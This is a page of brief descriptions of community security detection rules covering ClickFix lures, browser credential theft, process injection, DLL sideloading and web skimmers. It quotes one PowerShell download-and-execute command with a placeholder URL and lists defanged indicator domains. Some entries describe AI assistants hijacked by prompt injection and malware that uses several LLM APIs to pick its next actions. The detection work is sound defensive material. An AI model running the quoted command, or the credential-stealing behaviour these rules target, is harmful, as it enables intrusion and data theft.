Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
40,063 detections
Filters
Last updated
All Time
Detection languages
15,361
13,596
2,797
1,803
1,725
Contributors
7,678
5,999
5,315
4,504
4,191
Categories
18,113
9,760
3,854
3,760
3,714
Platforms
40,063
7,331
6,542
3,907
3,666
Products / Services
10,442
9,677
6,722
1,888
1,879
MITRE Techniques
13,738
13,119
8,068
5,949
4,415
CVEs
49
45
30
30
29
IDS Classtypes
214
56
43
23
19
IDS Protocols
183
172
20
16
8
Detects malicious AI assistant links delivered via spearphishing emails that contain pre-populated prompt injection query parameters. The rule correlates the clicking of a high-signal URL (containing parameters like prompt, system, or lengthy search queries with malicious keywords) originating from an email with a subsequent active session to the same AI service within 5 minutes, confirming potential weaponized AI assistant session manipulation. Covers T1566.002, T1204.001
Detects a coordinated attack sequence where a browser process is terminated, followed immediately by the execution of an unsigned Python interpreter from a suspicious location (temp/downloads folder), which is then followed by the installation of an unsigned browser extension. This pattern mimics ClickFix and browser-based RAT lure campaigns.
Detects the CLOSEDQUORUM implant communicating with multiple LLM providers (DeepSeek, Qwen, Mistral, or Gemini) for quorum-based decision making, followed by the same process spawning or injecting into a legitimate Windows system process (e.g., svchost, explorer) to conduct post-exploitation activities.
Detects potential process injection attempts where a process is created in a suspended state (often used for hollowed or injected code) and subsequently performs sensitive remote memory or thread operations (e.g., NtAllocateVirtualMemoryRemote, WriteProcessMemoryRemote) on that process.
Detects an endpoint initiating outbound network connections to three or more distinct LLM provider APIs (DeepSeek, Qwen, Mistral, Gemini) within a short timeframe (15-minute windows). This behavior aligns with the multi-provider voting mechanism used by the CLOSEDQUORUM post-compromise framework to autonomously determine subsequent actions using diverse generative AI models.
Detects unauthorized, unsigned processes accessing sensitive browser files (Cookies, Login Data, Local State) across common browsers (Chrome, Edge, Brave, Firefox) followed by an outbound network connection. This behavior is indicative of credential-harvesting infostealer malware.
Detects a suspected automated exploitation sequence where a web storefront file (e.g., .phtml, .js, .php) is modified to inject malicious script code (skimmer), followed by an unauthorized SQL DELETE operation on sensitive database tables containing payment, customer, or order information, originating from the same host within a 6-hour window.
Detects suspicious cross-process memory access events, such as PROCESS_VM_WRITE and PROCESS_SUSPEND_RESUME, often indicative of process hollowing or Early Bird APC injection. The rule monitors for elevated granted access masks originating from non-system processes, a behavior associated with the CLOSEDQUORUM implant's post-compromise activities.
Detects the creation of Windows services by known binary hosts frequently utilized by NeedyMantis for DLL sideloading. This activity is indicative of the persistence phase where the actor's 'is' module registers itself as a service to ensure survival across system reboots following the execution of the sideloading chain.
Detects NeedyMantis first-stage loader activity where a legitimate application (e.g., Poedit, curl, Vim, TightVNC) is executed to load an update or support DLL from a non-standard staging path (e.g., %ProgramData% subdirectories), followed by the presence of a co-located encrypted second-stage archive.
Detects the execution of PowerShell commands using '[scriptblock]::Create' in conjunction with character array decoding or large negative integer-array patterns. This technique is commonly used to deobfuscate and execute obfuscated PowerShell scripts at runtime.
Detects the execution of msiexec.exe with flags indicating a silent installation (/passive) where the package source is a remote URL (http:// or https://). This behavior is commonly associated with ClickFix campaigns and other malware delivery methods that attempt to trick users into installing malicious Windows Installer packages.
Detects execution of msiexec.exe via the Windows Run dialog (launched by explorer.exe) that utilizes a remote URL for an MSI installer alongside suspicious property flags ('ORG_NOTE', 'passive'). This pattern is associated with 'ClickFix' social engineering campaigns where users are instructed to copy-paste commands to 'fix' a display issue, leading to the execution of malicious installers.
Detects a suspicious PowerShell execution chain originating from explorer.exe, typically associated with ClickFix social engineering campaigns. The command uses 'Invoke-RestMethod' (irm) to download content, saves it to the user's TEMP directory, and immediately executes the downloaded script.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects the use of Python or Pip utilities as parent processes to spawn potentially malicious binaries such as cmd.exe, powershell.exe, curl.exe, or rundll32.exe. This activity is often associated with the execution of downloaded payloads or shell commands directly through package manager workflows.
This rule detects suspicious process lineage where Python (python.exe or pip.exe) is initiating the execution of Windows command shell (cmd.exe) or Windows calculator (calc.exe). This pattern is often associated with exploitation of malicious Python site-hook files or similar techniques where a Python environment is leveraged to spawn secondary processes, potentially leading to unauthorized command execution.
This rule detects potentially malicious command execution patterns where a Python interpreter (python.exe) is invoked with the '-m' flag to execute a module, which subsequently spawns a command shell (cmd.exe) as a child process. This behavior is often associated with adversary attempts to leverage Python's capabilities for system interaction, payload execution, or lateral movement, as documented in various campaigns that abuse Python as a living-off-the-land binary.
This rule detects when the MpDlpService.exe process loads the 'mpclient.dll' library from a location other than the legitimate Windows Defender program directories. This behavior is indicative of potential DLL side-loading or hijack execution flow attempts targeting the Microsoft Data Loss Prevention service.
This rule detects potential staging activity for ClickFix or Vidar malware campaigns. It identifies the creation of files or folders in directories mimicking Windows Diagnostics infrastructure (WDI) or known payload paths, correlated with the execution of suspicious PowerShell commands or archive-related utilities within a 30-minute window on the same device.
This rule detects the suspicious copying of a Chromium-based browser 'Web Data' file (which stores sensitive information like saved passwords, credit cards, or address data) to a temporary file, followed by an outbound network connection to a specific exfiltration endpoint pattern within a 30-minute window.
Page 136 of 1908